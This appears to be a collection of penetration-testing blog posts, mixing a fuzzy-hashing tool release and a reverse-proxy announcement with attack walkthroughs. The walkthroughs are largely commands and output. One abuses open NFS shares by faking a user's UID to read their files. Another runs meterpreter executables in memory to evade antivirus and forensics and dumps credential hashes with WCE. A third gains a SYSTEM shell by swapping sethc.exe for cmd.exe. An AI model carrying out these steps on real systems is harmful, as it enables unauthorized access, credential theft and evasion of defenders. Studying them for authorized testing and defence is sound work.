ssdeep 2.8 Released

ssdeep 2.8 Released: I have published version 2.8 of the ssdeep tool for fuzzy hashing. This is a bug-fix release, most notably quashing an issue on Win32 regarding spurious spaces in filenames. You can download the Windows binary or the *nix source code.

From LOW to PWNED [11] Honorable Mention: Open NFS

From LOW to PWNED [11] Honorable Mention: Open NFS: Post [11] Honorable Mention: Open NFS

Open NFS mounts/shares are awesome.  talk about sometimes finding "The Goods".  More than once an organization has been backing up everyone's home directories to an NFS share with bad permissions.  so checking to see whats shared and what you can access is important.

Low? currently an "info" with Nessus 5

Anyway, you probably want to know about finding it. You have a few options.

standard portscanning (of course)

1. scan for port 111/2049
2. do showmount -e / showmount -a
3. metasploit module

example:
root@attacker]# showmount -e 192.168.0.1
Export list for 192.168.0.1:
/export/home/  (everyone)
/export/mnt/   (everyone)
/export/share/ (everyone)

3. look to see what's exported and who is mounting ("everyone" FTW)

To mount an NFS share use the following after first creating a directory on your local machine:

[root@attacker~]#mount -t nfs 192.168.0.1:/export/home /tmp/badperms

change directories to /tmp/badperms and you should see the contents of /export/home on 192.168.0.1

to abuse NFS you can check out the rest from http://www.vulnerabilityassessment.co.uk/nfs.htm it talks about tricking NFS to become users.  I'm going to put it here in case it goes missing later:

"You ask now, how do you circumvent file permissions and the use of the sticky bit, this is done with a little prior planning and slight of hand to confuse the remote machine.

If we have a /export/home/dave directory that we have gone into, we will see a number of files belonging to dave, some or all of which you may be able to read.  The one thing the system will give you is the owners UID on the remote system after issuing an ls -al command i.e.

-rwxr----- 517 wheel 898 daves_secret_doc

The permissions at the moment do not let you do anything with the file as you are not the owner (yet) and not a member of the group wheel.

Move away from the mount point and unmount the share
umount /local_dir

create a user called dave
useradd dave
passwd dave

Edit /etc/passwd and change the UID to 517

Remount the share as local root

Go into daves directory
cd dave

issue the command
su dave

As you are local root you can do this and as you have an account called dave you will not need a password

Now the quirky stuff - As the UID for your local account dave matches the username and UID of the remote, the remote system now thinks your his dave, hey presto you can now do whatever you want with daves_secret_doc."

NfSpy is supposed to assist with the above: https://github.com/bonsaiviking/NfSpy

nmap scripts to do additional info gathering

nfs-ls
nfs-showmount
nfs-statfs

Valsmith and hdmoore gave their tactical exploitation talk at defcon 15 and talked about NFS (file services section of the slides) video  white paper they also gave it at blackhat in a much longer format, unfortunately the video is broken into multiple 14 minute parts, so go Google for it (lazy)

Fun Reading:
Swiss Cyber Storm II Case: NFS Hacking: http://www.csnc.ch/misc/files/publications/2009_scsII_axel_neumann_NFS.pdf

Mandiant Introduces Reverse-Proxy Open Source Tool

Way to go Mandiant ...

Today, Mandiant™ is making available a highly efficient reverse HTTP(S) proxy called simply ‘RProxy™’. We are releasing RProxy as an open sources tool to encourage the general community to participate in its evolution.  You can download the tool here.
At Mandiant we avoid trying to re-invent the wheel when it comes to software;so why create another reverse-proxy?
Many of the wonderful open-source proxies that exist today are tailored to the average GET <-> RESPONSE traffic types. For each request, they may spawn a new thread; create a new connection to the back-end, or both. Many of the projects we analyzed could not handle large streams of data efficiently since they would block until the full client request has been received (hey, where did my memory go?). Resource exhaustion was a common issue under high load, such as memory, file descriptors, CPU, etc. These existing tools are designed perfectly for common traffic flows, but can quickly capsize under pressure.
Mandiant had a requirement for a proxy that could scale to thousands of simultaneous SSL connections, with certificate verification, and various caching methods, all while maintaining a low system resource footprint. After testing the various popular and well maintained open-source proxy projects, we could not find one that met our specific needs. That’s why we decided to roll out our own.


Architecture
The RProxy architecture uses a mix of threading and event-driven methods of handling requests. At startup, a configured number of threads are spawned, each with their own event loop. Each of these threads will make a configured number of persistent connections to the configured back-end servers.
We leverage HTTP 1.1 to keep these connections open so that each incoming request from a client does not force RProxy to establish a new connection to the back-end. This results in each request being assigned a pre-existing connection to a back-end (even if the client is using HTTP 1.0, or HTTP 1.1 with keep-alive disabled). This technique is known as pipelining, a feature which most proxies avoid due to the complexity of maintaining request states.
We solved this by creating the three states a back-end connection can have:

• IDLE:    The connection is up and is able to be used to service a new request.
• ACTIVE:  The connection is being used to service another request.
• DOWN:    The connection is down, pending a reconnect.

When a new request is made, it is placed into a pending queue. This pending queue is processed whenever a back-end’s state transitions to IDLE. The request is then associated with that IDLE connection and its state is changed to ACTIVE.
There are many configuration options that affect how requests in a pending state are handled so that resource consumption does not become an issue under high load.
Features
The RProxy source code has a detailed and up-to-date configuration guide, but some of the main features that stand out are:

• Various methods of load-balancing requests to a back-end
• Transparent URI rewriting
• The ability to append X-Header fields to the request being made to the back-end, including dynamic additions of extended TLS fields
• Configurable thresholding and backlogging for both front-end and back-end IO.
• A flexible logging system
• Full SSL support (via OpenSSL)
  
  • TLS False start
  • x509 verification
  • Certificate caching
  • Session caching
  • All other commonly used SSL options

As mentioned, it is best to read the documentation to get a detailed understanding of the many aspects of the system.
Components
RProxy was built on top of several well maintained open-source libraries such as Libevent, Libconfuse, Libevhtp, and OpenSSL. While in the process of writing RProxy, many of the above libraries needed fixes and patches. We would like to thank the maintainers of these projects for their willingness to help and accept our changes (A special thanks to Nick Mathewson, maintainer of Libevent, whom we harassed the most).  It is suggested that the most recent versions of the above libraries are used for optimal performance.
Performance
RProxy was primarily tested on various *NIX platforms, however most of the performance tweaks were targeting Linux. We used an Intel i7 quad-core processor, with a generic 1Gbethernet adapter running the latest version of CentOS for testing. Our SSL keys were 2048 bits, with client certificate validation enabled. With neither host or client based (RFC5077) caching, RProxy was able to handle on the order of 2000 full SSL transactions per-second. If one of the above cache methods were enabled, our testing demonstrated RProxy was able to handle over 6600 SSL transactions per-second.
Large data flow tests showed that RProxy was able to run at 1 gigabit line-rate (or as close as you can expect once the data has reached user-land).
Future
We continue to add functionality to the software; virtual server support is currently in development, as well as support for internal redirection.
Let us know how you like working with RProxy by leaving a comment below. We’d love to get your feedback.

Top 10 Most Searched Metasploit Exploit and Auxiliary Modules

This just came in from Rapid 7:

At Rapid7, we often get asked what the top 10 Metasploit modules are. This is a hard question to answer: What does "top" mean anyway? Is it a personal opinion, or what is being used in the industry? Because many Metasploit users work in highly sensitive environments, and because we respect our users' privacy, the product doesn't report any usage reports back to us.

We may have found a way to answer your questions: We looked at our metasploit.com web server stats, specifically the Metasploit Auxiliary and Exploit Database, which exploit and module pages were researched the most. Here they are, annotated with Tod Beardley's excellent comments:

1. MS12-020 Microsoft Remote Desktop Use-After-Free DoS (CVE-2012-0002, MSB-MS12-020): This is the 2012 RDP Bug, where it was implied -- but never proven in public -- that a pre-auth bug in RDP can allow for remote code execution. This is likely the most popular module we have due to both recency bias and because there was an unusual level of spontaneous organization of the Metasploit developer community to search for the correct path to remote code execution. So far, nobody’s gotten RCE yet (in public), but the Metasploit module provides the most clues.
   
2. Microsoft Server Service Relative Path Stack Corruption (CVE-2008-4250, MSB-MS08-067): A four year old vulnerability that tends to give the most reliable shells on Windows 2003 Server and Windows XP. It’s also got a great pile of language pack targets. All of Metasploit’s exploits provide US English targeted shellcode, a few might provide Chinese, Spanish, French, or other popular languages; this one has targets in pretty much every language you’ve ever heard of. This exploit is also not ancient, so it’s reasonable to expect to find some unpatched systems in a medium to large enterprise vulnerable to it.
   
3. Microsoft Server Service NetpwPathCanonicalize Overflow (CVE-2006-3439, MSB-MS06-040): A six year old vulnerability that’s notable in that there’s no official patch from Microsoft for this on Windows NT 4.0. This was discovered after NT went end-of-life, so if you need remote root on an NT machine (and there are still plenty out there), this is going to be your first choice.
   
4. Microsoft RPC DCOM Interface Overflow (CVE-2003-0352, MSB-MS03-026): A nine year old vulnerability that used to be the de-facto standard exploit for Windows machines -- this is the RPC DCom bug, and it affects ancient NT machines. It was most notable in that it was used by the Blaster and Nachi worms to transit networks. It’s now pretty much a case study in stack buffer overflows in Windows, so it’s got a lot of historical value. If memory serves, this was the most reliable exploit in Metasploit v2.
   
5. Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop (CVE-2010-0017, MSB-MS10-006): Not sure why this module is popular -- it’s a client side DoS. Historically, it’s a neat DoS, since it demos a bug in Windows 7’s kernel, but all the module does is crash Windows 7 clients after you get a user to connect to you.
   
6. Adobe PDF Embedded EXE Social Engineering (CVE-2010-1240): This module exploits CVE-2010-1240 in Adobe Reader. The idea is that you can embed and execute a Meterpreter PE Executable in a PDF, and when the user opens the PDF, surprise shells! Since it’s on this list, it’s probably the most popular social engineering-style module.
   
7. Apache mod_isapi <= 2.2.14 Dangling Pointer (CVE-2010-0425): Although this is an exploit in Apache, don’t be fooled! It’s only exploitable on Windows (so that knocks out the biggest chunk of Apache installs at the time of this module’s release), and it’s only a DoS. Again, kind of a mystery as to why it’s so popular.
   
8. Java AtomicReferenceArray Type Violation Vulnerability (CVE-2012-0507): This was initially discovered in the wild as a Java 0-day, and this module represented the fevered work of sinn3r and Juan Vazquez, who turned out the first reliable public cross-platform exploit for the bug. The blog post "CVE-2012-0507 - Java Strikes Again" shows a screenshot of Meterpreter sessions on Windows, Ubuntu, and OSX systems. In fact, this may be the first publicly demonstrable Java exploit that Just Works against all three platforms for the vulnerable versions of Java -- no extra configuration or fingerprinting is needed.
   
9. Microsoft Windows Authenticated User Code Execution (CVE-1999-0504): The PSExec module is a utility module -- given an SMB username and password with sufficient privileges on the target machine, the user can get a shell. It’s not sexy, but it’s super handy for testing payloads and setup. Even though it’s a lowly #9, I’d bet it’s the most-used module in classroom and test environments.
   
10. Microsoft Plug and Play Service Overflow (CVE-2005-1983, MSB-MS05-039): This exploits the Plug and Play service on Windows 2000. This is the exploit that MS06-040 replaced, though until MS06-040, this was the most reliable exploit around for Windows 2000. The Zotob worm used it. Note that while the exploit isn’t 100% reliable, failed attempts had a tendency to trigger a reboot of the target, so the next attempt would be 100% successful. In other words, for some people, the reboot-on-failure is really more of a feature than a bug.

Let us know if you find this ranking interesting so we can continue sharing it in the future. We're excited to see how this list will look next month, and what the major changes will be!

If you want to use any of these exploits right now, you can download Metasploit for free!

Weekly Metasploit Update: Armitage, Psnuffle, and More!

Just storing this here...to read later...

This week's update features a great big pile of Java source code, a makeover for a perennial favorite feature, and a handful of new exploits. Read on, or just skip all the yadda yadda and download Metasploit here.

Armitage Source

This week's biggest change in terms of LOC (lines of code) is the inclusion of the Armitage source code, in external/source/armitage. For a while now, we've been distributing Raphael Mudge's Armitage front-end for the Metasploit Framework, but the source has been over in code.google.com; that makes for a disconnected experience for developers who might want to fix up Armitage bugs or experiment with new functionality. Now that we've got the source in the Metasploit distribution proper, that should make life easier for everyone. You can read lots more about Armitage at Raphael's site, fastandeasyhacking.com.

Psnuffle refresh

James "egypt" Lee pulled in Alex Malateaux's update for Psnuffle this week as well, so now pnsuffle can eavesdrop on NTLMv2 connections and store those credentials away for later reuse. This update triggered a code cleanup on the rest of psnuffle in general, which brings a couple of heaping handfuls of small bugfixes. For some background on what all psnuffle can do in terms of credential eavesdropping, check the video demo from Max Moser.

New Modules

Only four new modules this week, but the PHP module by HD Moore and egypt is kind of a big deal. If you run a PHP-powered site, you might want to check this right away.

php_cgi_arg_injection by HD Moore and egypt exploits CVE-2012-1823 in PHP.
mozilla_nssvgvalue by Lincoln and corelanc0d3r exploits CVE-2011-3658 in Mozilla Firefox.
solarwinds_storage_manager_sql by sinn3r, exploits OSVDB-81634 in SolarWinds Storage Manager.
vlc_mms_bof  by sinn3r and juan, exploits CVE-2012-1775 in VLC prior to 2.0.0.

Eternal Sunshine of the Spotless RAM

Eternal Sunshine of the Spotless RAM:

The purpose of this post is to point out a little-known jewel -- the -m flag to meterpreter's execute command. The help tells us that this flag causes the executable to "Execute from memory" but that doesn't really explain it. Here's an example of the -m option in action:

meterpreter > cd %systemroot%
meterpreter > cd system32
meterpreter > pwd
C:\Windows\SYSTEM32
meterpreter > download cmd.exe
[*] downloading: cmd.exe -> cmd.exe
[*] downloaded : cmd.exe -> cmd.exe
meterpreter > execute -H -m -d calc.exe -i -f cmd.exe
Process 572 created.
Channel 5 created.
The system cannot find message text for message number 0x2350 in the message file for Application.

Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\SYSTEM32>

Background that shell, type ps, and you'll notice there is a calc.exe process and no cmd.exe process. So what's happening here? First, we're downloading cmd.exe from the system. This isn't necessary if you already have a copy from another system. Next, we're executing calc.exe as a dummy executable and uploading another executable to run in its process space instead. On the target, this works by starting calc.exe in a suspended state, then using the Windows debugging API to rip out its guts and replace them with an executable we supply from the attacker machine.

Using the in-memory executable technique has a few major advantages. First, the name of the file doesn't show up in a process list so things like Task Manager will display it as whatever normal system executable you picked for the -d option. That's pretty important for staying undetected in the presence of a watchful eye. Second, the executable never touches disk. Avoiding writing executables to disk also means forensics is a bit harder -- there's no suspicious prefetch entry for a new executable, there's no new files or altered modification times. The executable itself could leave behind telltale evidence, of course, but every little bit helps. Staying entirely in memory means AV doesn't get another chance to catch us. Anti-Virus generally doesn't like a lot of the tools you often find very handy, such as Windows Credential Editor, so running them in memory gives you another option to avoid that nuisance. Here's what it looks like:

meterpreter > upload wce.exe
[*] uploading  : wce.exe -> wce.exe
[*] uploaded   : wce.exe -> wce.exe
meterpreter > ls wce.exe
[-] stdapi_fs_stat: Operation failed: The system cannot find the file specified.

AV decided wce.exe was evil and deleted it before we had a chance to get what we came for.  Let's try it in memory:

meterpreter > execute -H -m -d calc.exe -f wce.exe -a "-o foo.txt"
Process 3216 created.
meterpreter > cat foo.txt
Administrator:PWNME:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C

Another advantage that might not be quite so obvious is that this is a means of getting a cmd.exe shell even if cmd is disabled or removed on the target. GPO preventing you from getting what you need? Just upload it into memory and carry on like nothing happened.

Priv. Esc via "Sticky" Keys

This has been documented all over, but i like things to be on the blog so i can find them...

You can gain a SYSTEM shell on an application you have administrative access on  or if you have physical access to the box and can boot to repair disk or linux distro and can change files.

make a copy somewhere of the original on system sethc.exe

copy c:\windows\system32\sethc.exe c:\


cp /mnt/sda3/Windows/System32/sethc.exe /mnt/sda3/sethc.exe


copy cmd.exe into sethc.exe's place


copy /y c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe


or


cp /mnt/sda3/Windows/System32/cmd.exe /mnt/sda3/Windows/System32/sethc.exe


Reboot, hit Shift key 5 times, SYSTEM shell will pop up, do your thing


Replace sethc.exe back when you are done.